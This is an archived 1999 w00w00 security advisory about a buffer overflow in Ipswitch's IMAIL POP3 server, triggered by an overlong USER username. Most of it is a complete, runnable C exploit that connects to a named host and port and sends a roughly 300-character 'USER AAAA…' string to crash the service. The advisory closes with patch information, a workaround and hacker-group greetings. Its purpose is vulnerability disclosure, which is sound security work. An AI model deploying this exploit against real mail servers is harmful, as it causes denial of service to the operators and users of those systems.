w00giving 99 -3-
(Hi Int! go and hack a ham sandwich with us!)
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[See http://www.datasurge.net/www.w00w00.org until relocation of
w00w00.org is complete.]
Discovered by: Interrupt (mike@eeye.com)
Due to improper bounds checking in Ipswitch's IMAIL POP3 server, a buffer
overflow occurs when a lengthy username is sent (via "USER <large
username>"). Where the length of <large username> is between 200 and 500
characters.
It has been tested this on version 5.07, 5.05, and 5.06. According to
Interrupt, it appears to be a DoS (denial of service) attack, but there
has been no further testing to determine if it can be exploited to gain
higher privileges.
---------------------------------------------------------------------------
Exploit (by Interrupt):
/*
* IMAIL 5.07 POP3 Overflow
* By: Mike@eEye.com
*
* Demonstrates vulnerability
*/
#include <stdio.h>
#include <string.h>
#ifdef WINDOWS
#include <windows.h>
#include <winsock.h>
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#endif
#ifndef WINDOWS
#define SOCKET_ERROR -1
#define closesocket(sock) close(sock)
#define WSACleanup() ;
#endif
char overflow[] =
"USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n";
int main(int argc, char *argv[])
{
#ifdef WINDOWS
WSADATA wsaData;
#endif
struct hostent *hp;
struct sockaddr_in sockin;
char buf[300], *check;
int sockfd, bytes;
char *hostname;
unsigned short port;
if (argc <= 1)
{
printf("IMAIL POP3 Overflow\n");
printf("By: Mike@eEye.com\n\n");
printf("Usage: %s [hostname] [port]\n", argv[0]);
printf("If port is not specified we use '110'\n");
exit(0);
}
hostname = argv[1];
if (argv[2]) port = atoi(argv[2]);
else port = atoi("110");
printf("IMAIL POP3 Overflow\n");
printf("By: Mike@eEye.com\n\n");
#ifdef WINDOWS
if (WSAStartup(MAKEWORD(1, 1), &wsaData) < 0)
{
fprintf(stderr, "Error setting up with WinSock v1.1\n");
exit(-1);
}
#endif
hp = gethostbyname(hostname);
if (hp == NULL)
{
printf("ERROR: Uknown host %s\n", hostname);
exit(-1);
}
sockin.sin_family = hp->h_addrtype;
sockin.sin_port = htons(port);
sockin.sin_addr = *((struct in_addr *)hp->h_addr);
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == SOCKET_ERROR)
{
printf("ERROR: Socket Error\n");
exit(-1);
}
if ((connect(sockfd, (struct sockaddr *) &sockin,
sizeof(sockin))) == SOCKET_ERROR)
{
printf("ERROR: Connect Error\n");
closesocket(sockfd);
WSACleanup();
exit(-1);
}
printf("Connected to [%s] on port [%d], sending overflow....\n",
hostname, port);
/* Check to see if we get a +OK error code. If so then proceed. */
if ((bytes = recv(sockfd, buf, 300, 0)) == SOCKET_ERROR)
{
printf("ERROR: Recv Error\n");
closesocket(sockfd);
WSACleanup();
exit(1);
}
buf[bytes] = '\0';
check = strstr(buf, "+OK");
if (check == NULL)
{
printf("ERROR: NO +OK response from inital connect\n");
closesocket(sockfd);
WSACleanup();
exit(-1);
}
if (send(sockfd, overflow, strlen(overflow),0) == SOCKET_ERROR)
{
printf("ERROR: Send Error\n");
closesocket(sockfd);
WSACleanup();
exit(-1);
}
printf("Sent.\n");
closesocket(sockfd);
WSACleanup();
}
---------------------------------------------------------------------------
Patch:
Ipswitch has patched the vulnerability and the latest version can be
downloaded from:
ftp://ftp.ipswitch.com/Ipswitch/Product_Support/IMail/imail508.exe
If you are unable to install the patch, a temporary workaround is to set
the IMAIL monitor to 10 secons, guaranteeing a quick refreshment period.
---------------------------------------------------------------------------
Contributors to w00giving '99: awr, jobe, Sangfroid, rfp, vacuum,
interrupt, dmess0r, and K2
People who deserve hellos: nocarrier, minus, daveg, nny, eEye Digital
Security, SecurITeam, dark spyrit (of beavuh), and w00god blake
w00sites that deserve mentioning:
http://www.eEye.com
http://www.napster.com
http://www.technotronic.com
htttp://www.beavuh.org
http://www.securiteam.com